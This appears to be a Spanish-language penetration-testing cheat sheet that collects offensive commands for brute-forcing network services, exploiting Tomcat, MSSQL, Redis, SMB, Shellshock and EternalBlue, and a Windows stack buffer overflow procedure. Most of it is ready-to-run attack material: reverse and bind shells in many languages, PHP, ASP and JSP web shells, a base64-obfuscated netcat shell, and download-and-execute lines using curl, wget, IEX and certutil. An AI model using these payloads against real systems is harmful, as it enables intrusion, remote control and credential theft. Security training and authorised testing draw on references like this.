(SNMP) SNMP, Simple Network Management Protocol. ## Fuerza bruta community ### Nmap ```shell nmap -sU -p 161,162 --script snmp-brute ``` * -sU = escaneo puertos UDP. * -p = puertos 161/UDP y 162/UDP. * \--script snmp-brute = fuerza bruta de comunidades. * \ = objetivo. ### Hydra ```shell hydra -P snmp:// ``` * -P = utilizar archivo de comunidades. * \ = ruta de archivo con listado de comunidades. * \ = objetivo. ### onesixtyone ```shell onesixtyone -c ``` * \ = objetivo. * -c = utilizar archivo de comunidades. * \ = ruta de archivo con listado de comunidades. # 445/TCP (SMB) SMB, Server Message Block. ## CrackMapExec ```shell crackmapexec smb -u -p ``` * \ = objetivo. * -u = utilizar archivo de usuarios. * \ = ruta de archivo con listado de usuarios. * -p = utilizar archivo de contraseñas. * \ = ruta de archivo con listado de contraseñas. # 3306/TCP (MySQL) ## Hydra ```shell # General hydra -L -P mysql://: -V -f # Credenciales por defecto hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt mysql://: -V -f ``` * -L = utilizar archivo de usuarios. * \ = ruta de archivo con listado de usuarios. * -P = utilizar archivo de contraseñas. * \ = ruta de archivo con listado de contraseñas. * \ = objetivo. * \ = puerto del servicio MySQL. # 5432/TCP (PostgreSQL) ## Hydra ```shell # General hydra -L -P mysql://: -V -f # Credenciales por defecto hydra -l postgres -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt postgres://: -V -f hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt postgres://: -V -f # Fuerza bruta hydra -l postgres -P /usr/share/wordlists/rockyou.txt postgres://: -V -f ``` * -L = utilizar archivo de usuarios. * \ = ruta de archivo con listado de usuarios. * -P = utilizar archivo de contraseñas. * \ = ruta de archivo con listado de contraseñas. * \ = objetivo. * \ = puerto del servicio PostgreSQL. # 5985/TCP, 5986/TCP (WinRM) WinRM, Windows Remote Manager. ## CrackMapExec ```shell crackmapexec winrm -u -p ``` * \ = objetivo. * -u = utilizar archivo de usuarios. * \ = ruta de archivo con listado de usuarios. * -p = utilizar archivo de contraseñas. * \ = ruta de archivo con listado de contraseñas. # Servicios # 22/TCP (SSH) SSH, Secure SHell. ## Conexión a SSH usando clave privada ```shell //.ssh/id_rsa chmod 600 id_rsa ssh -i id_rsa @ ``` ## Corregir error de negociación de método de intercambio de claves > Unable to negotiate with X.X.X.X port 22: no matching key exchange method found. ```shell ssh -oKexAlgorithms=+ @ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 @ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 @ ssh -oKexAlgorithms=+diffie-hellman-group-exchange-sha1 @ ``` # 25/TCP, 465/TCP, 587/TCP (SMTP/S) SMTP, Simple Mail Transfer Protocol. SMTPS, Simple Mail Transfer Protocol Secure. ## Open relay ```sh nmap -p 25,465,587 --script=smtp-open-relay.nse ``` ```sh telnet 25 HELO idontexist MAIL FROM: attacker@example.com RCPT TO: victim@anotherdomain.com DATA Subject: Test open relay Test message . QUIT ``` # 53/TCP, 53/UDP (DNS) DNS, Domain Name System. Transferencia de zona 53/TCP y búsqueda de nombre 53/UDP. ## Transferencia de zona ### **host** ```shell host -t ns ``` ```shell host -l ``` * \ = nombre de dominio. * \ = nombre de servidor (NS). ### **nslookup** nslookup: Name System Lookup. ```shell nslookup -type=any -query=AXFR ``` ```shell nslookup server set type=any ls -d ``` * \ = nombre de servidor (NS). * \ = nombre de dominio. ### **dig** dig: Domain Information Groper. ```shell dig @ -t axfr +nocookie ``` * \ = nombre de servidor (NS). * \ = nombre de dominio. ### Fierce ```shell fierce --domain ``` * \--domain = nombre de dominio. * \ = nombre de dominio. ### DNSRecon ```shell dnsrecon -d -t axfr ``` * -d = nombre de dominio. * \ = nombre de dominio. * -t = tipo de enumeración. * axfr = transferencia de zona. # 80/TCP, 443/TCP (HTTP/S) HTTP, Hypertext Transfer Protocol. HTTPS, Hypertext Transfer Protocol Secure. ## Apache Tomcat Ruta de "Tomcat web application manager". ```shell http://:/manager/ ``` Subir web shell en formato `war`. * ```shell http://:/web-shell/ http://:/web-shell/index.jsp?cmd=whoami ``` Configuración de listener en Metasploit. ```shell use exploit/multi/handler set payload linux/x64/meterpreter_reverse_tcp set lhost set lport run ``` Generar y subir reverse shell `reverse-shell.war` en máquina victima desde "Tomcat web application manager". ```shell msfvenom -p linux/x64/meterpreter_reverse_tcp lhost= lport= -f elf -o reverse-shell.war ``` Desde la web shell mover reverse shell `reverse-shell.war` a directorio `tmp` y asignar privilegios de ejecución. ```shell ls -la /var/lib/tomcat8/webapps mv /var/lib/tomcat8/webapps/reverse-shell.war /tmp/reverse-shell ls /tmp/reverse-shell chmod +x /tmp/reverse-shell ``` Ejecutar desde la web shell la reverse shell. ```shell /tmp/reverse-shell ``` # 445/TCP (SMB) SMB, Server Message Block. ## Impacket ```shell # impacket-psexec psexec.py :""@ psexec.py /:""@ psexec.py /@ -hashes # impacket-wmiexec wmiexec.py :""@ wmiexec.py /:""@ wmiexec.py /@ -hashes ``` * \ = usuario. * \ = contraseña. * \ = dirección IP del objetivo. * \ = `LMHASH:NTHASH` ## Metasploit ```shell use exploit/windows/smb/psexec set RHOSTS set SMBUser set SMBPass run ``` ## Reverse shell ```shell smbclient ///tmp logon "./=`nohup nc -e /bin/sh `" nc -lvnp ``` # 161/UDP, 162/UDP (SNMP) SNMP, Simple Network Management Protocol. ## Extracción de información ### SNMPwalk ```shell snmpwalk -v <1|2c|3> -c ``` * -v = versión de SNMP. * \ = objetivo. * -c = nombre de comunidad. ### SNMPenum * ```shell snmpenum.pl ``` * \ = objetivo. * \ = nombre de comunidad. * \ = archivo de configuración. ### EnumSNMP * ```shell EnumSNMP.sh ``` * \ = objetivo. * \ = versión de SNMP. # 1433/TCP (MSSQL Server) Microsoft SQL Server. ## Metasploit ```shell use exploit/windows/mssql/mssql_payload set username set password set rhosts set payload windows/x64/meterpreter_reverse_tcp set lhost set lport run ``` ## Impacket ```shell # Windows authentication mssqlclient.py /:@ -windows-auth # Microsft SQL Server authentication mssqlclient.py /:@ ``` ```sql EXEC sp_configure 'Show Advanced Options', 1; reconfigure; EXEC sp_configure 'xp_cmdshell', 1; reconfigure; sp_configure; EXEC master..xp_cmdshell 'whoami'; ``` ```shell python3 -m http.server 80 cp reverse-shell.ps1 . nc -lvnp ``` ```sql EXEC master..xp_cmdshell 'powershell "IEX (New-Object Net.WebClient).DownloadString(\"http:///reverse-shell.ps1\");' ``` # 2049/TCP (NFS) NFS, Network File System. ## Montar recursos ```shell sudo mkdir /mnt/nfs-temp sudo mount -t nfs : /mnt/nfs-temp/ -nolock ``` ## Desmontar recursos ```shell sudo umount /mnt/nfs-temp/ ``` # 3389/TCP (RDP) RDP, Remote Desktop Protocol. ## rdesktop ```shell rdesktop -u -p ``` * \ = dirección IP del objetivo. * \ = nombre de usuario. * \ = contraseña de usuario. ## FreeRDP ```shell xfreerdp /v: /u: /p:'' /dynamic-resolution +clipboard /drive:.,share ``` * \ = dirección IP del objetivo. * \ = nombre de usuario. * \ = contraseña de usuario. * /drive:.,share = habilita unidad compartida de red. El `.` indica compartir el directorio actual (máquina atacante) y `share` nombre de la unidad compartida en máquina victima. ## Remmina * # 5985/TCP, 5986/TCP (WinRM) WinRM, Windows Remote Manager. ## Evil-WinRM ```shell evil-winrm -i -u -p evil-winrm -i -u -H evil-winrm -i -u -p -s ``` * \ = dirección IP del objetivo. * \ = nombre de usuario. * \ = contraseña de usuario. * \ = hash de la contraseña del usuario. * -s = ruta local (máquina atacante) de scripts de PowerShell. # 6379/TCP (Redis) ## Verificación de existencia de autenticación ```shell telnet 6379 echo "verificación de autenticación" $31 verificación de autenticación quit +OK Connection closed by foreign host. ``` ## redis-cli ```shell redis-cli -h -p 6379 INFO # obtiene información general de Redis CONFIG GET dir # obtiene directorio actual CONFIG SET dir "//" # realiza cambio de directorio ``` * -h = host. * \ = objetivo. * -p = puerto 6379/TCP. ### Modificación de archivo ```shell redis-cli -h -p 6379 CONFIG SET dir "//" # directorio del archivo a modificar CONFIG SET dbfilename "" # selecciona archivo a modificar set "contenido a modificar en archivo" # modifica contenido de archivo save ``` * -h = host. * \ = objetivo. * -p = puerto 6379/TCP. ## SSH ### Enumeración manual de usuario y su directorio ```shell redis-cli -h -p 6379 CONFIG SET dir "/home//.ssh" ``` * -h = host. * \ = objetivo. * -p = puerto 6379/TCP. * \ = usuario. ### Enumeración automatizada de usuarios y su directorio (script Python) ```python import redis wordlist = "" pathTemplate = "/home/%(user)s/.ssh" RedisHost = "" RedisPort = 6379 with open(wordlist, "r") as wl: usernames = wl.readlines() wl.close() r = redis.StrictRedis(host=RedisHost, port=RedisPort, db=0) i = 1.0 paths = [] for username in usernames: u = username.strip('\r\n') path = pathTemplate % {'user': u} try: r.config_set("dir", path) paths.append(path) print ("Found: %s" % path) except Exception: pass print ("Progress: %2.3f%% \r" % ((100*i)/len(usernames))), i += 1 ``` ### Generación de nueva llave publica/privada ```shell ssh-keygen -t rsa (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > id_rsa.txt ``` ### Carga de llave publica en archivo "authorized\_keys" ```shell redis-cli -h flushall cat id_rsa.txt | redis-cli -h -x set key-id_rsa redis-cli -h config set dir /.ssh/ config set dbfilename "authorized_keys" save ``` ### Conexión a servicio SSH utilizando llave privada ```shell ssh -i id_rsa @ ``` ### Exploit automatizado * ## Webshell ```shell redis-cli -h -p 6379 CONFIG SET dir "//" # directorio del archivo a modificar CONFIG SET dbfilename "index.php" # selecciona archivo a modificar set "" # modifica contenido de archivo save ``` ## Exploits ### Metasploit ```shell use exploit/linux/redis/redis_replication_cmd_exec ``` * ```shell python3 redis-rce.py -r -p 6379 -L -P -f exp_lin.so ``` # Git ## General Repositorio de Git expuesto. ```sh http:///.git/ https:///.git/ ``` Descargar repositorio de Git expuesto. ```sh wget -r -np http:///.git/ wget -r -np https:///.git/ ``` Revisión de repositorio descargado. ```sh git log --pretty=oneline git cat-file -t git cat-file -p ``` ## Herramientas * * # Vulnerabilidades # CVE-2009-3103 / MS09-050 * ```bash # Generación de shellcode msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= EXITFUNC=thread -f python --var-name shell # Configuración de listener (multi/handler) de reverse shell msfconsole use multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST set LPORT run -j # Exploit python2 ms09-050.py ``` # Netapi (MS08-067) * # Heartbleed (CVE-2014-0160) ## Exploits * * ## Metasploit ```sh use auxiliary/scanner/ssl/openssl_heartbleed set RHOSTS set VERBOSE true run ``` # Shellshock / Bashdoor (CVE-2014-6271) Verificación de vulnerabilidad Shellshock / Bashdoor. ```bash curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd'" http:///cgi-bin/ ``` Reverse shell. ```bash # Máquina atacante nc -lvnp # Máquina victima curl -H "user-agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp// 0>&1'" http:///cgi-bin/ ``` # EternalBlue (CVE-2017-0144 / MS17-010) * ```bash # Clonación de repositorio git clone https://github.com/3ndG4me/AutoBlue-MS17-010.git cd AutoBlue-MS17-010 # Revisión si objetivo es vulnerable a EternalBlue (CVE-2017-0144 / MS17-010) python3 eternal_checker.py # Generación de shellcode cd shellcode && ./shell_prep.sh # Configuración de listeners de reverse shell cd .. && ./listener_prep.sh # Exploit python3 eternalblue_exploit7.py ./shellcode/sc_all.bin python3 eternalblue_exploit7.py ./shellcode/sc_x64.bin python3 eternalblue_exploit7.py ./shellcode/sc_x86.bin ``` # Shells # General ## Web shells ### Kali Linux /usr/share/webshells/ ### PHP * ```php ``` ```php ``` ```php "; $cmd = ($_REQUEST['cmd']); system($cmd); echo ""; die; } ?> ``` ### ASP ```aspnet <% eval request("cmd") %> ``` ### JSP ```java <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> ``` ### Imágenes ```shell echo -n "\xff\xd8\xff\xe0" > webshell.jpg echo -n "GIF89a;" > webshell.gif exiftool -Comment="" webshell.gif ``` ## Reverse shells ### PHP * * ```bash # /bin/sh php -r '$sock=fsockopen("",);exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("",);shell_exec("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("",);system("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("",);passthru("/bin/sh -i <&3 >&3 2>&3");' php -r '$sock=fsockopen("",);popen("/bin/sh -i <&3 >&3 2>&3", "r");' # /bin/bash php -r "exec(\"bash -c 'bash -i >& /dev/tcp// 0>&1'\");" php -r "shell_exec(\"bash -c 'bash -i >& /dev/tcp// 0>&1'\");" php -r "system(\"bash -c 'bash -i >& /dev/tcp// 0>&1'\");" php -r "passthru(\"bash -c 'bash -i >& /dev/tcp// 0>&1'\");" php -r "popen(\"bash -c 'bash -i >& /dev/tcp// 0>&1'\",\"r\");" ``` ### Apache Tomcat ```shell msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war ``` ### Groovy ```shell String host=""; int port=; String cmd="bash"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` ### Server-Side Includes (SSI) ``` ``` ### Node.js ```bash # /bin/sh echo "require('child_process').exec('nc -nv -e /bin/sh')" > /tmp/revshell.js; node /tmp/revshell.js # /bin/bash echo "require('child_process').exec('nc -nv -e /bin/bash')" > /tmp/revshell.js; node /tmp/revshell.js ``` ```javascript (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(, "", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /test/; })(); ``` ## Revisión de ejecución de comandos ```shell # Máquina victima ## Linux/Unix ping -c 4 ## Windows ping -n 4 # Máquina atacante sudo tcpdump -i icmp ``` ## Revisión de puertos de salida abiertos ```shell # Wget wget :443 python3 -m http.server 443 # cURL curl http://:443 python3 -m http.server 443 # Bash bash -c 'echo testing > /dev/tcp//443' rlwrap nc -lvnp 443 ``` # MSFvenom ## Linux/Unix ```shell # Máquina atacante msfvenom -p linux/x64/shell_reverse_tcp lhost= lport= -f elf -o revshell python3 -m http.server 80 rlwrap nc -lvnp # Máquina victima ## wget wget http://:80/revshell -O /tmp/revshell; chmod +x /tmp/revshell; /tmp/revshell ## curl curl http://:80/revshell -o /tmp/revshell; chmod +x /tmp/revshell; /tmp/revshell ``` ### Telnet ```shell msfvenom -p cmd/unix/reverse_netcat lhost= lport= R ``` ## Windows ```shell msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o reverse-shell.exe ``` ```shell msfvenom -p windows/x64/shell_reverse_tcp lhost= lport= -f exe -o reverse-shell.exe ``` ## Apache Tomcat ```shell msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f war -o reverse-shell.war ``` # Linux/Unix ## Reverse shells ### Bash ```shell bash -c 'bash -i >& /dev/tcp// 0>&1' bash+-c+'bash+-i+>%26+/dev/tcp//+0>%261' # URL Encode bash -i >& /dev/tcp// 0>&1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp/f ``` ```sh echo -n "nc.traditional -e /bin/bash " | base64 -w 0 bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDxhdHRhY2tlci1JUC1hZGRyZXNzPiA8bGlzdGVuLXBvcnQ+ `echo "bmMudHJhZGl0aW9uYWwgLWUgL2Jpbi9iYXNoIDxhdHRhY2tlci1JUC1hZGRyZXNzPiA8bGlzdGVuLXBvcnQ+" | base64 -d` ``` ### Netcat ```bash /bin/nc -nv -e /bin/bash /usr/bin/nc -nv -e /bin/bash ``` ```bash # Máquina atacante cp /bin/nc . python3 -m http.server 80 nc -lvnp # Máquina victima ## wget wget http://:80/nc -O /tmp/nc; chmod 755 /tmp/nc; /tmp/nc -nv -e /bin/bash ## curl curl http://:80/nc -o /tmp/nc; chmod 755 /tmp/nc; /tmp/nc -nv -e /bin/bash ``` ### Perl ```bash perl -e 'use Socket;$i="";$p=;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' ``` ### Python ```shell # /bin/sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' # /bin/bash python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash"]);' ``` ## Bind shells ### Bash ```bash rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp >/tmp/f ``` ### Python ```shell python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")' ``` ## Spawning TTY shell ### General ```shell script /dev/null -c bash Ctrl+Z # Para ZSH debe ser ingresado en una sola línea stty raw -echo;fg stty raw -echo fg reset xterm # Obtener el valor de las siguientes variables desde otra ventana de terminal maximizada echo $TERM stty size # Aplicar los valores obtenidos en la shell obtenida export TERM= export SHELL=/bin/bash stty rows columns ``` ### Python ```shell which python which python3 /usr/bin/ -c "import pty; pty.spawn('/bin/bash');" ``` ### sh ```shell script /dev/null -c bash ``` ## Escapar shell restringida ```shell man ls shift + 1 !bash ``` ```shell vim :set shell=/bin/sh :shell ``` # Windows ## Netcat ```shell # Máquina atacante rlwrap nc -lvnp # Máquina victima .\nc.exe -e cmd.exe ``` ## PowerShell ### Reverse shells ```powershell powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("",);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` Reverse shell de Windows a Linux/Unix. * ```shell # Máquina atacante # reverse shell (shell.ps1) $client = New-Object System.Net.Sockets.TCPClient('',);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() # HTTP server python3 -m http.server 80 # Netcat nc -lvnp # Máquina victima # descarga y ejecución de reverse shell powershell IEX(New-Object Net.WebClient).downloadString('http://:80/shell.ps1') ``` Reverse shell de Windows a Windows . * ```shell # Máquina atacante # HTTP server Add-Type -AssemblyName "System.Web";$HTTPListener=New-Object Net.HttpListener;$HTTPListener.Prefixes.Add("http://:80/");$HTTPListener.Start();While ($HTTPListener.IsListening){$HC=$HTTPListener.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type",[System.Web.MimeMapping]::GetMimeMapping($HC.Request.RawUrl));$Stream=[System.IO.File]::OpenRead((Join-Path $Pwd ($HC.Request.RawUrl)));$HRes.ContentLength64=$Stream.Length;$Stream.CopyTo($HRes.OutputStream);$Stream.Close();$HRes.Close()};$HTTPListener.Stop() # Powercat Import-Module .\powercat.ps1 powercat -l -v -p # Máquina victima # descarga y ejecución de reverse shell powershell IEX(iwr http://:80/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress -Port ``` ### Bind shells ```powershell powershell -NoP -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(); ``` ## Metasploit ```shell # Máquina atacante msfvenom -p windows/x64/shell_reverse_tcp lhost= lport= -f exe -o reverse-shell.exe rlwrap nc -lvnp python3 -m http.server 80 # Máquina victima certutil.exe -f -urlcache -split http://:80/reverse-shell.exe c:\windows\temp\reverse-shell.exe && cmd.exe /c c:\windows\temp\reverse-shell.exe ``` ```shell # Máquina atacante use exploit/windows/misc/hta_server set SRVHOST set SRVPORT run # Máquina victima mshta http://:/.hta ``` ## Archivo batch (.bat) ```shell # Máquina atacante nc -lvnp # Máquina victima echo C:\\nc.exe -e cmd.exe > C:\\ ``` # Stack-Based Buffer Overflow Windows x86 ## Configuración de ambiente Windows * Instalar Immunity Debugger: * Configurar ejecutar como administrador: clic derecho -> Propiedades -> Compatibilidad -> Habilitar opción "Ejecutar este programa como administrador". * Instalar mona.py: * `C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands` ### Desactivar la prevención de ejecución de datos (DEP / Data Execution Prevention) #### Windows XP * Panel de control -> Sistema -> Avanzado -> Inicio y Recuperación -> Configuración -> Editar * Reemplazar `OptIn` por `AlwaysOff`. #### Windows 7 ```shell bcdedit.exe /set nx AlwaysOff ``` Reiniciar el sistema operativo y posteriormente comprobar en: Mi PC -> clic derecho -> Propiedades -> Avanzando -> Rendimiento -> Configuración -> Data Execution Prevention. ## Procedimiento ### 0) Pre-inicio Identificar dirección IP y puerto donde se ejecuta el binario, y cual campo es vulnerable a buffer overflow. > Archivo: [parameters.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/parameters.py) ### 1) Fuzzing Realizar fuzzing para encontrar con cuantos bytes se desborda el búfer y se sobrescribe el registro EIP (Extended Instruction Pointer). > Archivo: [01-fuzzing.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/01-fuzzing.py) {% hint style="info" %} Sincronizar (`Ctrl + F1`) y ejecutar (`F9`) el proceso en Immunity Debugger. {% endhint %} ### 2) Offset Creación de "pattern" para calcular el "offset". ```shell # number-of-bytes = number-of-bytes + 200 msf-pattern_create -l ``` Identificación de "offset". ```shell # Metasploit msf-pattern_offset -q # Mona !mona findmsp ``` > Archivo: [02-findOffset.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/02-findOffset.py) ### 3) Verificar el offset Verificar el "offset" identificado y control del EIP. ``` fuzzing = offset + BBBB + CCCC + padding offset = AAAA... 41414141... EIP = BBBB 42424242 ESP = CCCC 43434343 padding = DDDD... 44444444... ``` > Archivo: [03-checkOffset.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/03-checkOffset.py) ### 4) Buscar los badchars ```shell # Configuración de carpeta de trabajo en Mona !mona config -set workingfolder c:\mona\%p # Generación de badchars !mona bytearray # Comparación de badchars con contenido de la pila !mona compare -f C:\mona\\bytearray.bin -a ESP # Generación eliminando badchars encontrado !mona bytearray -cpb "\x00" # Comparación de badchars con contenido de la pila !mona compare -f C:\mona\\bytearray.bin -a ESP # Generación eliminando badchars encontrados !mona bytearray -cpb "\x00\x0a" ``` > Archivo: [04-badchars.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/04-badchars.py) ### 5) Encontrar "JMP ESP" Verificación de badchars. ```shell !mona bytearray -cpb "" !mona compare -f C:\mona\\bytearray.bin -a ESP ``` * \ = `\x00\x0a\x0d` Obtención de dirección "JMP ESP" utilizando Mona. ```shell msf-nasm_shell jmp esp FFE4 ``` ```shell # FFE4 = \xff\xe4\ !mona modules # Dynamic-Link Library (DLL) !mona find -s "\xff\xe4\" -m # Executable (.exe) ## opción 1 !mona jmp -r esp -cpb ## opción 2 !mona jmp -r esp -m ``` Obtención de dirección "JMP ESP" utilizando `findjmp.exe`. ```shell findjmp.exe findjmp.exe ESP ``` > Archivo: [05-jmpESP.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/05-jmpESP.py) ### 6) Exploit Generación de shellcode. ```shell # Windows ## reverse shell msfvenom -p windows/shell_reverse_tcp lhost= lport= EXITFUNC=thread -a x86 --platform windows -b "" --var-name shellcode -e x86/shikata_ga_nai -f python msfvenom -p windows/shell_reverse_tcp lhost= lport= EXITFUNC=thread -b "" --var-name shellcode -f python ## abrir calculadora de Windows msfvenom -p windows/exec cmd=calc.exe EXITFUNC=thread -b "" --var-name shellcode -f python # Linux/Unix ## reverse shell msfvenom -p linux/x86/shell_reverse_tcp lhost= lport= EXITFUNC=thread -b "" --var-name shellcode -e x86/shikata_ga_nai -f python ``` * \ = `\x00\x0a\x0d` Ejecutar exploit de buffer overflow. ```shell # Netcat nc -lvnp # Ejecutar exploit de buffer overflow python3 exploit.py ``` > Archivo: [06-exploit.py](https://github.com/MrW0l05zyn/buffer-overflow/blob/main/06-exploit.py) # Transferencia de archivos ## Servidor ### Python ```shell python -m SimpleHTTPServer python3 -m http.server ``` ### PowerShell ```shell Add-Type -AssemblyName "System.Web";$HTTPListener=New-Object Net.HttpListener;$HTTPListener.Prefixes.Add("http://:/");$HTTPListener.Start();While ($HTTPListener.IsListening){$HC=$HTTPListener.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type",[System.Web.MimeMapping]::GetMimeMapping($HC.Request.RawUrl));$Stream=[System.IO.File]::OpenRead((Join-Path $Pwd ($HC.Request.RawUrl)));$HRes.ContentLength64=$Stream.Length;$Stream.CopyTo($HRes.OutputStream);$Stream.Close();$HRes.Close()};$HTTPListener.Stop() ``` ## Cliente ### PowerShell Descarga de archivos. ```powershell PowerShell -c "IWR -useBasicParsing http://:/ -o " ``` ```powershell Invoke-WebRequest -Uri "http://:/" -OutFile "" ``` ```powershell (New-Object Net.WebClient).DownloadFile("http://:/","") ``` Transferencia y execución de archivo en memoria. ```powershell IEX (iwr http://:/ -UseBasicParsing) ``` ### Wget ```shell wget http://:/ -O ``` * -O = ruta donde será descargado y cual será el nombre del archivo. ```shell wget http://:/ -P ``` * -P = ruta donde será descargado el archivo. ### cURL ```shell curl http://:/ -o ``` ### CertUtil ```shell certutil.exe -urlcache -f http://:/ ``` ## PowerShell remoting ```powershell $session = New-PSSession -ComputerName Copy-Item -ToSession $session -Path C:\\ -Destination C:\ Enter-PSSession -Session $session ls C:\ ``` ## SMB ### Impacket ```shell # Servidor (Linux) # opción 1 mkdir /tmp/smb-temp && cd /tmp/smb-temp python /impacket/examples/smbserver.py share . -smb2support -username -password # opción 2 python /impacket/examples/smbserver.py share $(pwd) impacket-smbserver share $(pwd) # Cliente (Windows) net use \\\share /USER: copy \\\share\ %TEMP%\ dir %TEMP% net use \\\share /del ``` ## SCP (secure copy) Subir archivo local a remoto. ```shell scp @: ``` Descargar archivo remoto a local. ```shell scp @: ``` ## Base64 ```shell # Máquina origen base64 -w 0 | xclip -sel clip # Máquina destino echo "" | base64 -d > ``` ## Validación de integridad de archivo ### Linux/Unix ```shell # MD5 md5sum # SHA1 sha1sum ``` ### Windows ```shell # MD5 certutil.exe -hashfile MD5 # SHA1 certutil.exe -hashfile # PowerShell ## MD5 Get-FileHash -Algorithm MD5 | Format-List ## SHA1 Get-FileHash -Algorithm SHA1 | Format-List ## SHA256 Get-FileHash | Format-List ``` # Linux/Unix # Información general ## General ```bash # Sistema uname -a cat /etc/*release cat /etc/issue # Hostname, host y DNS cat /etc/hostname /etc/hosts /etc/resolv.conf ``` ## Usuarios y grupos ```bash whoami id cat /etc/passwd # Usuarios cat /etc/passwd | cut -d: -f1 # Usuarios con consola cat /etc/passwd | grep "sh$" ``` ## Procesos ```sh ps aux | grep root ``` ### Process snooping ### pspy ```sh ./pspy -pf -i 1000 ``` ### tmux ```sh ps aux | grep tmux /usr/bin/tmux -S ``` ## Servicios de red ### Puerta de enlace (gateway) ```sh route -n ``` ### netstat ```sh netstat -antupo ``` * -a = todos los sockets. * -n = hosts, puertos y usuarios en formato numérico. * -t = TCP. * -u = UDP. * -p = PID (Process Identification Number) y nombre del programa. * -o = timer. # Búsqueda de archivos y directorios ## Rutas ```sh /var/backups /var/www /opt /mnt ls -lsaRH /home ls -lsaRH /root ``` ## Búsqueda por nombre de archivo ```sh find / -name 2>/dev/null find / -name 2>/dev/null -not -path "/*" ``` ## Búsqueda por grupo de usuario ```sh find / -group 2>/dev/null ``` ## Búsqueda por 